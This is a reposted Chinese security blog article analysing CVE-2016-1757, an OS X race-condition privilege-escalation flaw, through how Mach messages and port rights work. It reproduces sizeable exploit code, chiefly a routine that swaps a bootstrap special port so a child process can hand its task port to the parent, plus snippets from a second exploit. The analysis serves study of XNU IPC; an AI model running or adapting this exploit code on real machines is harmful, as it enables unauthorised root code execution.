转载

再看CVE-2016-1757-浅析mach message的使用

0x00 摘要

CVE-2016-1757 是一个 OS X 系统上通过条件竞争实现任意代码在 root 权限执行的漏洞。在这篇文章之前,我已经分析过了这个漏洞的原理,以及 EXP 代码的实现。

CVE-2016-1757简单分析

CVE-2016-1757利用程序分析

利用patch绕过kextload对内核签名的检测

syscan2016 上又有国外的安全研究人员放出自己的 利用代码 。学习之后,这个利用代码确实比之前的更加清晰、明确。更加容易理解。

而两个利用本质上面的不同是对 mach port 的不同的利用方法。下面主要结合两个不同的POC,来分析一下 mach message 的使用,同时也是研究 xnuIPC 的基础。

0x01 Mach

MachOS X 的内核中处于最接近底层的一个模块。是 XNU 内核的内核。是一个 BSD 层包裹的 微内核 。而内核中的 task , thread , virtual memory 等模块,对于 Mach 来说,都是一个 Object 。这些 Objects 基于 Mach 实现自己的功能,并且通过 Mach Message 来进行相互之间的通信。

The Mach kernel thus becomes a low-level foundation, concerning itself with only the bare mini-mum required for driving the operating system. Everything else may be implemented by some higher layer of an operating system, which then draws on the Mach primitives and manipulate them inwhatever way it sees fit.

​ ————— Mac OS® X and iOS Internals

1.1 Mach Messages

Mach Messages 总共有两种,分别是 Simple MessagesComplex Messages

1.1.1 Simple Message

Simple Message 的结构体,大致如下图所示。

再看CVE-2016-1757-浅析mach message的使用

#!c typedef struct {   natural_t         pad1;   mach_msg_size_t       pad2;   unsigned int          pad3 : 24;   mach_msg_descriptor_type_t    type : 8; } mach_msg_type_descriptor_t;  typedef struct {   mach_msg_size_t msgh_descriptor_count; } mach_msg_body_t;  typedef struct  {   mach_msg_bits_t   msgh_bits;   mach_msg_size_t   msgh_size;   mach_port_t       msgh_remote_port;   mach_port_t       msgh_local_port;   mach_port_name_t  msgh_voucher_port;   mach_msg_id_t     msgh_id; } mach_msg_header_t;

在使用 mach message 时,可以自己定义一个数据结构,更方便的编写代码。

#!c struct {     mach_msg_header_t header;     mach_msg_body_t body;     mach_msg_type_descriptor_t type; } message;  message.header = (mach_msg_header_t) {     .msgh_remote_port = port,     .msgh_local_port = MACH_PORT_NULL,     .msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),     .msgh_size = sizeof(message) };  message.body = (mach_msg_body_t) {     .msgh_descriptor_count = 1 };  message.type = (mach_msg_type_descriptor_t) {     .pad1 = data,     .pad2 = sizeof(data) };

构建一个 message ,然后调用 mach API 发送这个消息。当然 msgh_descriptor_count 也可以是其他值,那么就要有相对于个数的 mach_msg_type_descriptor_t

1.1.2 Complex Messages

Complex MessagesSimple Message 对比,多了一个附加的数据 Mach Trailers 。并且数据描述符的定义也不同了。

再看CVE-2016-1757-浅析mach message的使用

描述符的定义如下

#!c typedef struct {   void*             address; #if !defined(__LP64__)   mach_msg_size_t           size; #endif   boolean_t             deallocate: 8;   mach_msg_copy_options_t       copy: 8;   unsigned int          pad1: 8;   mach_msg_descriptor_type_t    type: 8; #if defined(__LP64__)   mach_msg_size_t           size; #endif } mach_msg_ool_descriptor_t;

1.2 ports

1.2.1 port 的权限

每一条 Mach Message 都是从一个 port 发送到另外一个 port ,而每一个 port 都有自己的权限。

  • SEND:将 Mach Message 添加到 port 的队列中。
  • RECIVE:允许从队列中读取 Mach Message 。一般情况下只有 port 的持有者拥有这个权利。

port 以及他的 权限 ,可以从一个进程转交给另外一个进程,这也就是这一次要分析的 EXP 的主要原理。

1.2.2 一些特殊的port

当每一个 task 被创建的时候,系统都会提供一系列特殊的 port ,在这些 port 当中,我们比较感兴趣的是以下几种:

  • host port:代表正在运行该 task 的整台机器的 port
  • task port: 正在运行的 task 本身的 port
  • bootstrap port : 和 bootstrap server 连接着的一个 port

1.3 Send&Recv Messages

Message 的发送与接收,都是使用同一个 mach APImach_msg

#!c kr = mach_msg(recv_hdr,              // message buffer               msg_options,          // option indicating receive               0,                     // send size               recv_hdr->msgh_size,   // size of header + body               server_port,           // receive name               MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever               MACH_PORT_NULL);       // no notification port  kr = mach_msg(send_hdr,              // message buffer               MACH_SEND_MSG,         // option indicating send               send_hdr->msgh_size,   // size of header + body               0,                     // receive limit               MACH_PORT_NULL,        // receive name               MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever               MACH_PORT_NULL);       // no notification port

根据参数的不同,实现了接收 Message 和发送 Message 不同的功能。

通过对源码的阅读, mach_msg 实际上是调用了 mach_msg_overwrite_trap ,进入内核中,通过 ipc_kmsg_* 系列函数,来实现的消息发送与接收。大致如下图所示。

再看CVE-2016-1757-浅析mach message的使用

图片转自( http://blog.ibireme.com/2015/05/18/runloop/ )。

0x02 The Port Swap Dance

了解了 portMach Message 的基础知识之后,先来回顾一下我们已经 分析过的EXP中 ,有这样一段代码。

2.1 源码

#!c typedef struct {   mach_msg_header_t header;   mach_msg_body_t body;   mach_msg_port_descriptor_t port; } port_msg_send_t;  // mach message for receiving a port right typedef struct {   mach_msg_header_t header;   mach_msg_body_t body;   mach_msg_port_descriptor_t port;   mach_msg_trailer_t trailer; } port_msg_rcv_t;  typedef struct {   mach_msg_header_t  header; } simple_msg_send_t;  typedef struct {   mach_msg_header_t  header;   mach_msg_trailer_t trailer; } simple_msg_rcv_t;  #define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT  // a copy in the parent of the stolen special port such that it can be restored mach_port_t saved_special_port = MACH_PORT_NULL;  // the shared port right in the parent mach_port_t shared_port_parent = MACH_PORT_NULL;  void setup_shared_port() {   kern_return_t err;   // get a send right to the port we're going to overwrite so that we can both   // restore it for ourselves and send it to our child   err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);   MACH_ERR("saving original special port value", err);    // allocate the shared port we want our child to have a send right to   err = mach_port_allocate(mach_task_self(),                            MACH_PORT_RIGHT_RECEIVE,                            &shared_port_parent);    MACH_ERR("allocating shared port", err);    // insert the send right   err = mach_port_insert_right(mach_task_self(),                                shared_port_parent,                                shared_port_parent,                                MACH_MSG_TYPE_MAKE_SEND);   MACH_ERR("inserting MAKE_SEND into shared port", err);    // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork   err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);   MACH_ERR("setting special port", err); }  mach_port_t recover_shared_port_child() {   kern_return_t err;    // grab the shared port which our parent stashed somewhere in the special ports   mach_port_t shared_port_child = MACH_PORT_NULL;   err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);   MACH_ERR("child getting stashed port", err);    LOG("child got stashed port");    // say hello to our parent and send a reply port so it can send us back the special port to restore    // allocate a reply port   mach_port_t reply_port;   err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);   MACH_ERR("child allocating reply port", err);     // send the reply port in a hello message   simple_msg_send_t msg = {0};    msg.header.msgh_size = sizeof(msg);   msg.header.msgh_local_port = reply_port;   msg.header.msgh_remote_port = shared_port_child;   msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);    err = mach_msg_send(&msg.header);   MACH_ERR("child sending task port message", err);    LOG("child sent hello message to parent over shared port");    // wait for a message on the reply port containing the stolen port to restore   port_msg_rcv_t stolen_port_msg = {0};   err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   MACH_ERR("child receiving stolen port/n", err);    // extract the port right from the message   mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;   if (stolen_port_to_restore == MACH_PORT_NULL) {     FAIL("child received invalid stolen port to restore");   }    // restore the special port for the child   err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);   MACH_ERR("child restoring special port", err);    LOG("child restored stolen port");   return shared_port_child; }  mach_port_t recover_shared_port_parent() {   kern_return_t err;    // restore the special port for ourselves   err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);   MACH_ERR("parent restoring special port", err);    // wait for a message from the child on the shared port   simple_msg_rcv_t msg = {0};   err = mach_msg(&msg.header,                  MACH_RCV_MSG,                  0,                  sizeof(msg),                  shared_port_parent,                  MACH_MSG_TIMEOUT_NONE,                  MACH_PORT_NULL);   MACH_ERR("parent receiving child hello message", err);    LOG("parent received hello message from child");    // send the special port to our child over the hello message's reply port   port_msg_send_t special_port_msg = {0};    special_port_msg.header.msgh_size        = sizeof(special_port_msg);   special_port_msg.header.msgh_local_port  = MACH_PORT_NULL;   special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;   special_port_msg.header.msgh_bits        = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;    special_port_msg.body.msgh_descriptor_count = 1;    special_port_msg.port.name        = saved_special_port;   special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;   special_port_msg.port.type        = MACH_MSG_PORT_DESCRIPTOR;    err = mach_msg_send(&special_port_msg.header);   MACH_ERR("parent sending special port back to child", err);    return shared_port_parent; }  int main(int argc, char** argv) {   parse_args(argc, argv);    // check that the original is actually a 64-bit mach-o and not a fat binary   verify_original(original, original_length);    // apply the patch to the original   apply_patch(original, original_length, patch, patch_length);    int tries = 0;   for (;;) {     setup_shared_port();      pid_t child_pid = fork();     if (child_pid == -1) {       FAIL("forking");     }      if (child_pid == 0) {       mach_port_t shared_port_child = recover_shared_port_child();       do_child(shared_port_child);     } else {       mach_port_t shared_port_parent = recover_shared_port_parent();       do_parent(shared_port_parent);        int status;       wait(&status);        if (status == 0) {         LOG("worked :-)");         break;       }        tries++;       if (tries > max_tries) {         FAIL("either didn't win the race (try again) or we won but the child didn't exit cleanly with a 0 return code");         break;       }        LOG("trying again...");     }   }    return 0; }

通过一个 saved_special_port 完成了,父进程与子进程之间的 port 传递,从而使得父进程与子进程共享同一个 port ,子进程再通过共享的 port ,将自身的 taskport 发送给父进程并最终在父进程中实现对子进程代码段修改,执行任意代码,详情见 这里 。

2.2 解析

  1. 父进程通过 task_get_special_port 获取他的 special ports ,并存储在局部变量中。 special ports 是一些连接着系统服务的 port ,在 fork 的过程中,子进程会继承 special port
  2. 父进程通过 mach_port_allocate 函数创建一个新的 port ,通过 task_set_special_port 将这个新的 port 设为 special port ,且通过 mach_port_insert_right 为这个新的 port 赋予写的权限。并最终试图将这个新的 port 传递给子进程。
  3. 父进程进行 fork ,子进程继承了 2 中创建的新的 port ,作为自己的 special port
  4. 父进程将保存的在临时变量中的 special port ,重新设置回来。
  5. 子进程获取这个替换过的 special port ,并且保存下来。
  6. 子进程通过继承的 special port 和父进程通信。
  7. 父进程在收到子进程的消息后,将当前的 special port 再发送给子进程。
  8. 子进程也将收到的 special port 设置为自己的 special port

时序图大致如下:

再看CVE-2016-1757-浅析mach message的使用

通过上面的分析,可以得知,再利用这个漏洞的时候,我们想要的就是一个父进程与子进程共同持有,且可以用来交流的 port ,通过这个 port ,子进程可以将自己的 task port 交给另外一个进程,这里是父进程,来实现漏洞的利用。

0x03 server&client

那么新的 EXP 使用了什么方法实现的呢?

3.1 bootstrap_register

每一个 task 可以调用 bootstrap_register() 函数,向 bootstrap server 注册一个服务,通过一个字符串与自己的 task port 相关联。其他的 task 可以通过 bootstrap_look_up 函数来通过字符串查询对应的 taskport

那么问题就一目了然了。

  • 建了一个进程A,通过 bootstrap_register 注册一个服务。
  • 建立一个进程B,通过 bootstrap_look_up 获取进程A的 task port
  • 进程B通过进程A的 task port 将自己的 task port 告知进程A。
  • 进程A通过进程B的 task port 配合进程B,出发漏洞。

3.2 bootstrap_register2

这个方案虽然简单明了,但是缺有一个问题, bootstrap_register 在10.5之后的版本就没有了。

不过网上有个一简单的替代方法,在-[NSMachBootstrapServer registerPort:name:]中封装了一个 bootstrap_register2 ,只不过并没有导出到外部,所以只需要添加一行代码就可以使用 bootstrap_register2 来完成相应的功能。

#!c /*   * this is not exported so we need to declare it  * we need to use this because bootstrap_create_server is broken in Yosemite  */ extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);

3.3 实际代码

摘取利用代码中相关代码段。

mach_server.c

#!c /* register the server with launchd */ kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &server_port);  kr = mach_port_insert_right(mach_task_self(), server_port, server_port, MACH_MSG_TYPE_MAKE_SEND);  kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, server_port, 0);  /* alternative method to register with launchd */

mach_client.c

#!c DEBUG_MSG("Looking up server..."); kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &server_port); EXIT_ON_MACH_ERROR("bootstrap_look_up", kr, BOOTSTRAP_SUCCESS);  kr = mach_port_allocate(mach_task_self(),        // our task is acquiring                         MACH_PORT_RIGHT_RECEIVE, // a new receive right                         &client_port);           // with this name

0x04 小结

有兴趣的读者可以仔细阅读 fG!的利用 ,与之前的利用代码的不同之处并不止在 mach message 的利用这一点上。以后有时间还会做出更细致的分析。

0x05 引用

  1. Inter-Process Communication
  2. Debugging Mach Ports
  3. Changes to XNU Mach IPC
  4. A Little IPC Project
  5. 深入理解RunLoop

PS

这是我的学习分享博客 http://turingh.github.io/

欢迎大家来探讨,不足之处还请指正。

原文  http://drops.wooyun.org/papers/17558
正文到此结束
Loading...